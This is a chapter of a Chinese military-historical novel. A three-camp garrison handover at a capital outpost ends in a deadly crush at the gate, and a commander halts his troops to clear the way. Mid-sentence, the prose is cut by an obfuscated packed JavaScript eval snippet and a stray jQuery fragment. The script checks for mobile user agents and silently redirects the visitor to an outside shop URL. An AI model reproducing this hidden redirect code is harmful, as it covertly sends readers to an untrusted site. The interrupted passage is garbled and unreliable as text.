第三十一章营门
第三日寅末,京西中营外最先亮起来的不是天色。
长道两端多了数十支火把。
火光沿着冻硬的路面一段一段铺开。拒马横在通京的长道上,原本容得下两辆粮车并行的路口只留出一道窄隙。披甲军士守在隙口两侧,逐一查验往来官凭。再往前,营门外侧与通往武库的短墙旁,也已经换上了另一队人。
他们是奉兵部令来监交的预备军。
昨夜亥初,军司送到西南驻处的军令只有寥寥数语:原册、旧凭正在会勘,三营定于今日再次交防,原防军中名涉疑项者另列候核,其余人照常退营。
顾长恪据此重新排过接营队次,又命全军在五更以前起身。直到他率前队来到中营外,才看见兵部另调的京畿预备军已经先到了。
营门前原先画下的交防界线还在。
前日被马蹄踏乱的白灰重新补过,迎着火光,显出一道生硬的白。顾长恪所率接防军依令停在西南界外。预备军却已经越过那道线,列在营门两侧。弩手尚未上弦,脚边的箭匣却已经打开;持枪军士分作两列,枪尾抵地,枪锋都朝着清晨尚未亮透的天。
更远处还有人。
十余名昨日没有等到家人退营的军属又来了,被拦在第二道关卡以外。有人提着食盒,有人怀里抱着棉衣。守路军士不许他们靠近,他们也没有离开,只站在风里,远远望着营门前不断增加的火把。
卯初,军司副使到了。
急递木筒上的封泥已经启开,兵部军令当众展开。原防都尉、顾长恪与预备军都尉各立一侧,听军司副使宣读:
京西中、南、北三营今日复行交防。增调京畿预备军分守通京道路,监护营门、武库及巡界交接。原防军名涉清册疑项者,另列候查;其余依队退营。交防之际,如有拒命离列、冲门近械之举,准监交军即时分隔、强行收械。
军司副使宣读完毕,原防都尉问:“疑项未结,前日说的退补与恤给如何处置?”
“三营旧凭尚未全部调齐,疑项一时不能核结。”军司副使道,“但所涉人数不多,不再因此停住整营交防。疑项另册封存,人也另列;待原册齐全,逐项核问。”
“今日只交营,不在营门前断账。退营军士退往城外指定驻处,未得军司放归令以前,暂不得入京。”
顾长恪看了一眼营门。
门外多了两排监交军,又摆了一张验牌的长案。拒马从两边合拢以后,真正能走人的地方比前日窄了近半。
“疑项人员在哪里分列?”他问。
军司副使道:“门内东侧。在营门验过名牌,便由监交军带往东侧候查。”
顾长恪又问:“原防退出、监交军接管营门与接防军入营,仍照同一鼓令行进?营门只余一条道?”
“所以各队更须依令而行。”预备军都尉道,“营门与武库必须先控。” 若原防军已经开始退营,门、库仍在原守军手中,队列一旦返身,谁来拦?”
他说得并非没有道理。
若兵部所虑成真,先控营门与武库,是为了让无事的人能够退营,让真有异动的人取不到兵械。
顾长恪没有再问。
他回到西南界外,召来本部几名带队军官。
“原令照行。”他说,“再记三件事。”
几人肃立听令。
“未得我亲令,不得越过界标。刀不得出鞘,弩不得上弦。营门若有呼喊,先听号令,不许因前面一声‘进’或一声‘退’,便整队压上。”
“若监交军传令推进呢?”
“看清令旗,听本部号鼓。”
军官们应过退下。
营墙里面,也已经点过第三遍名。
原防各队的行装昨夜便重新捆好了。被褥卷在外面,换洗衣物和零碎物件都塞进包袱。非当值兵械仍照交防程式归在架上,武库门的封记没有动过。守营军士交还哨牌以后,也只留随身短刀,等出门时一并登记。
许顺仍单独押在营房东侧空屋。
从前夜到此刻,没有人去见过他。
若营外只有原定接防军,重新开始的交防也许会平稳的进行。
可营墙并不高。
靠近营门的几队军士能够从墙头看见外面的火把,也能看见横在长道上的拒马。预备军换上营门外侧守位时,甲叶与枪杆碰撞的声音隔墙传进来,一阵接着一阵。
最初没有人说话。
直到掌书记拿着另列名册走过队前,有人才低声问:“分出去的人,今日还回不回来?”
带队军官喝道:“只为候核清册,不是收押。”
“候在哪里?”
“门内东侧。”
“我们都退了,他们还留在营里?”
“军司自有安排。”
队伍里静了一阵。
又有人问:“为何通京的路也封了?”
这一次,带队军官没有立即答。
他知道兵部担心军士入京,也知道军令中“分守通京道路”几字为何而来。可他若将这层意思照直说出,便等于告诉营中所有人:朝廷此刻不是只在查他们的册,也在防他们的人。
“今日依令交营。”他最后道,“没有点到名字的照常退出。点到的只是多候几日。谁再扰乱队列,照军纪办。”
没人继续发问。
可原本已经排好的队列里,有几个人悄悄换了位置。名下没有疑项的站到了同队旧识身旁。有人替腿脚不便的老军提起一只包袱,也有人低声说:“到门前若叫你留下,先问清带到哪里。”
第一日许顺说要进京时,没有一个人应和。到了第三日,外面多出一支披甲军队,要把几个人从整队中单独留下,原本没有相结的人,反而第一次不愿彼此分开。
卯正,营门开了。
监交军先入门内两侧,接过门闩、锁钥和守门名簿。两名军司书吏在长案后铺开退营清册,一人验名牌,一人记出营时辰。通往武库的短巷另横起一道拒马,八名持枪军士守在巷口。
武库门上的封记仍是原防都尉昨日所钤。
按程式,须等原防、接防与监交三方共同验过,才能启封点收。可兵部军令要求先控武库外围,因此预备军已经把短巷守住,原防军只能隔着人墙看见自己昨日还在看守的库门。
辰初,退营鼓响。
第一队从营内向外走。
队前军士在长案前报姓名、交名牌、验行装。书吏在清册上划记,监交军便放人穿过拒马,沿长道向指定驻处行进。最初二十余人都没有出错。
第二队接上。
与此同时,预备军后队依令从营门两侧入内,准备接替门后巡界。两列人贴着退营队伍逆向而行,甲衣擦过包袱,脚步虽慢,门洞里仍很快挤满了人。
军司书吏抬高声音,报出下一个名字。
“方成。”
一名年近五旬的老军从队中走到案前。
他的左腿早年受过伤,天冷时膝弯不利,走得比旁人慢半步。名牌交出去以后,书吏没有在退营册上划记,而是翻开旁边那本疑项册。
“名下伤恤两册不合。退回门内东侧候查。”
方成回头看了一眼。
他身后的队伍还在向前。后排听见鼓点,并不知道案前停住了,仍依队次往门洞里走。监交军中一人伸手扳住方成的手臂,要将他带离正道。
“往东侧。”那人道。
方成转身时,包袱带子被后面人的刀鞘勾住。他向后踉跄了一步,左腿没能站稳,整个人连同行装一起倒在地上。
同队两名军士立刻回身。
“先停一停!”
一人俯身去拉方成,另一人抬手挡住仍在向前的人。原本整齐的队列从中间折出一个缺口。后排看不见地上出了什么事,脚步仍在一层层压上来。
监交军前列随即横过盾牌。
“不得离列!往外走!”
“人倒了!”
“候查的退到东侧!”
“先把他拉起来!”
几道号令挤在门洞里,谁也听不全。
方成身边那名军士刚将他扶起半边,盾面已经抵到肩前。另一侧的监交军要将未涉疑项的人推向门外,又要把方成从人群中分回门内。有人往外,有人回身,刚刚让出的一点空处转眼便被堵死。
一面盾牌被挤得偏了。
盾后的枪手本能地将枪杆放平,想逼住继续向前的人。枪锋没有直刺,只横在胸腹之间。可站在最前面的军士已经退无可退。
“把枪抬起来!”有人喊。
枪手听见的却是另一侧的命令:“不许近前!”
那名扶人的原防军士眼看枪锋抵到方成颈侧,伸手抓住枪杆,向外一推。
监交军中立刻有人高喊:
“夺枪!”
这一声越过门洞,传到了两边都看不清前方的人耳中。
预备军后列同时向前一步。
原防军后队却听见有人喊“先退回营里”。那句话原本只是要门洞中的人往后退开,传到武库巷口,却成了整队返身。
守巷军士迅速落枪。监交军都尉的令旗从门外扬起。
“封住武库!分隔各队!”
门洞里的第一排枪杆一齐压低。
混乱中,不知是谁撞上了最前面那名枪手的肩。他脚下一滑,枪锋从两排人的间隙里穿过去,刺进一名原防军士左肋。那人怔了一瞬,手仍抓着身前同袍的衣袖,随后才慢慢跪了下去。
血很快从棉甲下渗出来。
前排开始往后退。
后排还在向前。
方成再次被人撞倒。有人踩中散开的包袱,有人被绊得扑在盾上。门洞里响起木碗碎裂、刀鞘碰地与人的呼喊。最里面的一队并不知道前面已经见血,只看见监交军封住武库方向,便本能地向营墙另一边靠拢。
监交都尉看见的,是原防军越列回护、抓住枪械,又有数十人向营内退去。
“传接防军即刻推进!”他道,“从西南压住营门,先将各队分开,强行收械!”
传令军士举旗穿过门外长道。
顾长恪的接防军早已听见了那声“夺枪”。
前队有几人下意识握住刀柄,又在带队军官的喝止下松开。整队仍停在界标以后,没有人因营门里的喊声擅自向前。
令旗到了。
“监交有令,接防军即刻推进,合力分隔原防各队,强行收械!”
顾长恪没有立即回应。
他站在西南略高的土坡上,能够越过前队,看见门洞内外的形势。
监交军占住营门两侧,原防前队堵在正中。更里面的人还在往后退,外面拒马之间却只剩一条窄道。若接防军从西南再压上去,门里的人便连向外散开的地方都没有。
顾长恪没有看见最初是谁先动了手,也无法确定退回营内的军士会不会继续向武库靠近。
他前日来接防时在原防营中所见,确是无人相结,但不能证明这三日里仍无人异动。那一日确是无人取械,也不能替此刻作保。
可眼前的情形至少有一件事对他而言是清楚的。
接防军再进,营门里只会再添死伤。
“本部不进。”顾长恪道。
传令军士一怔:“监交令是即刻推进。”
“回报监交军都尉,接营之令照行。但先清门道,再进。”
他说完,转向本部前队。
“西南前列退二十步。移开左侧拒马,留出通道。军医与担架手上前,兵刃留在界标后。其余人原地不动。”
几名军官领命而去。
左侧拒马落地时用铁链彼此相连。军士解不开锁,便合力将最外面一架拖向侧边。木齿刮过冻土,发出刺耳的声响。原本被封住的路口由此多出一道可容两人并行的空隙。
监交军都尉很快亲自赶来。
“军令是让你推进分隔,不是让你开路。”
“门洞已经堵死。”顾长恪道,“先把伤者与已验明的军士放出,队列才能分开。”
“若有人混在其中奔京呢?”
“西南道路仍由我部把守。出门者逐一验牌,往指定驻处走。有人越界,记在卑职名下。”
“他们方才已经夺枪。”
“抓枪的人照令另押。”顾长恪道,“可若我部此刻直入,收下来的先是死人。”
监交军都尉盯着他。
营门里又传来一阵喊声。被刺伤的军士已经倒下,另有两人被压在盾牌和人群之间。监交军无法再向里进,原防都尉的号令也被堵在门外。
顾长恪没有等他改令。
他将披风解下,交给身后随从,自己穿过刚刚移开的拒马,向营门走去。
“接防军奉令接营。”他的声音不算高,却比门洞里彼此冲撞的喊声更清楚,“原防各队后退五步,贴墙列队。已经出门者继续向西南驻处走,不得停留。门内之人不许再向外挤。”
原防都尉也终于挤到门侧。
他先命鼓手停鼓,又让各队旗依次后撤。
“后队退!靠墙!不许近武库!”
鼓点停下以后,后排不再向前。最靠里的军士先退到两侧墙下,门洞中的压力一点点松开。
顾长恪带来的第一副担架从通道进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762012|209610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
入。
抬担架的四名军士都空着手,腰间也没有佩刀。监交军没有让路,顾长恪便亲自俯身,将倒在最外面的一人拖离枪锋。
那人左肋的伤口已经浸透半边衣裳,呼吸很轻。军医用布团压住伤处,命人立刻抬往营外医帐。
方成也被扶了起来。
他左膝不能着地,额角在跌倒时磕破了,却仍清醒。军司书吏在混乱中死死抱着两本清册,纸角沾了泥,疑项册上“方成”二字还停在翻开的那一页。
“送东侧候查。”监交军官道。
方成身旁的两名军士没有松手。
顾长恪看了他们一眼。
“先送医帐。监交军一人随行,验伤以后再送东侧。”他说,“你们一人扶他过去,另一人归队。途中不得离开监交军视线。”
两人迟疑片刻,依令分开。
抓过枪杆的军士也被认了出来。他没有再反抗,只反复说:“枪尖在他脖子上。”
没有人当场同他争辩。
监交军卸下他的随身短刀,将人带到门外单独看押。至于他抓枪时是在护人,还是已经构成夺械,要等事后覆问。此刻再多问一句,门里的队列便要多停一刻。
伤者被一副副担架抬出。
已经验过名牌、又不在疑项册上的军士,则从移开的拒马旁分队退出。顾长恪的本部守在通道两侧,却没有持械逼近,只按名牌将人引往西南临时驻处。
辰末,营门终于空了下来。
原防各队重新点名,人数与晨册相合。许顺仍在东侧押房,押守名簿没有缺页。武库短巷前的拒马撤开以后,原防、接防与监交三方共同验看门封,封泥没有裂,封纸上的原防官印也没有缺角。
库门启开。
架上的长枪、弓弩、甲具与旗牌依册点收,没有少一件。
巳初,交防重新开始。
这一次,疑项人员先从各队中点出,在门内东侧单独列好;原防其余各队分批退出;等一队完全离开营门以后,监交军才放接防军入内接下一处守位。
交接一直持续到申后。
其间,营外医帐在申初送来死伤数目。
原防军共伤七人,其中两人伤重。最先被枪锋刺中的军士又受过踩踏,送到医帐以后始终没有醒,当日未时断了气。方成伤在左膝与额角,无性命之忧。监交军也有两人受伤,一人腕骨脱位,一人被倒下的盾沿划破面颊。
最后一队原防军离开时,地上的碎木碗已经被扫到墙边。门洞里铺过一层细土,血色仍从土下慢慢洇出来。监交军守住营门与武库,原防军其余各队全数转往城外指定驻处,疑项人员另留候核。顾长恪所部则依接防簿逐项接下哨牌、巡界图与库房钥匙。
交防完成以后,军司副使没有让顾长恪离营。
“今日营门失序,须即刻具呈。”他说,“从监交令下达时起,逐刻写明各军所在、号旗口令、何时停进、何时撤拒马、放出何人。不得只写结果。”
顾长恪道:“是。”
“你未依监交令即时推进,也须单独具结。”
“是。”
监交军都尉在旁边听着,没有替他说话,也没有另加一句罪名。
这几行很快被写进中营复交急报:
中营复行交防之际,原防军中名涉疑项者未即依令分列,同队军士越列回护,抓持监交军枪械。营门一时失序,监交军依令分隔收束,致原防军一人死、数人受伤,监交军二人受伤。
接防都尉顾长恪未依监交号令即时率部推进,先撤西南拒马、疏散伤者及已验军士,后复行接营。至申后,中营交防已完成。武库、营门及巡界无失,无军士趋京。
急报封发时,顾长恪正在营中值房写自己的具呈。
他先列各道军令到达的时辰,再画出营门、武库短巷、西南界标与三军最初所处的位置。写到“监交令至,命本部即时推进”时,他停了一会儿,看向案边放着的死伤名册。
他没有在具呈中写自己若照令推进,必会死更多人。那是他当时的判断,不是已经发生、可以勘验的事实。
他只写:
卑职见营门内原防前队、监交军及伤者相互壅塞,本部若依原路前压,则西南退路尽闭。故令本部止步,暂移拒马,先出伤者及已验军士。通道由本部设卡逐人验牌,期间无人越界趋京。门道清出以后,仍依原令接营。
末尾另具一句:
未即推进、擅缓军令之责,卑职不敢推诿。
他写完,钤下私记,将文书交给候在一旁的军司录事。
门外,第一辆送伤者的车从医帐外驶过长道。
车上盖着军毯,看不见里面的人。可车轮碾过冻土时,仍有几滴没有凝住的血落在路边。
守在远处的军属看见了。
有人追着车问是哪一队的人,押车军士没有回答。一个从医帐送空水桶回去的杂役只说,营门前有人抓了监交军的枪,推挤中死了人。
等这句话传到西门,便成了原防军拒不交营,夺械冲门,预备军已经动手镇压。
昨日还只是传闻中的“西营有变”,今日终于有了伤车、血迹和一个确实死去的人。
西城几家刚刚重新卸下门板的铺户又关了半扇门。
军户聚居的巷口有人来回打听死者姓名。也有人听说三营交防已经完成、没有一人入京,仍不肯相信,只说朝廷既然调了预备军,事情便不可能这样简单。
戌初,中营急报送入兵部。
兵部尚书看过交防结果后问:
“南、北两营可有异动?”
“两营均已交防,无人近械趋门。” 身边的郎中回答。
“武库呢?”
“封记完整,点收无缺。”
“三营可有人出营往京?”
“没有。”
中营原防军确实越列抓枪,营门也确实死了人。但至少兵部担心的三营相结、成队趋京,没有发生。
兵部尚书又看了一遍顾长恪未依号令推进的那一段。
仅凭这封急报,既不能判定监交军处置失当,也不能判定顾长恪擅缓军令有功。
他将报文放回长案。
“报文循急递转呈御前。中、南、北三营此番交防所有相关文书,逐件列目调取,随即续报。”
“是。”
郎中躬身领命而去。
亥初,御前回旨:
“自第一次停交起,逐件覆问。”
此时,天已经全黑。
中营营门外的火把换过一轮。白日铺下的细土被夜风吹散了一层,再次露出底下已经冻住的暗色血迹。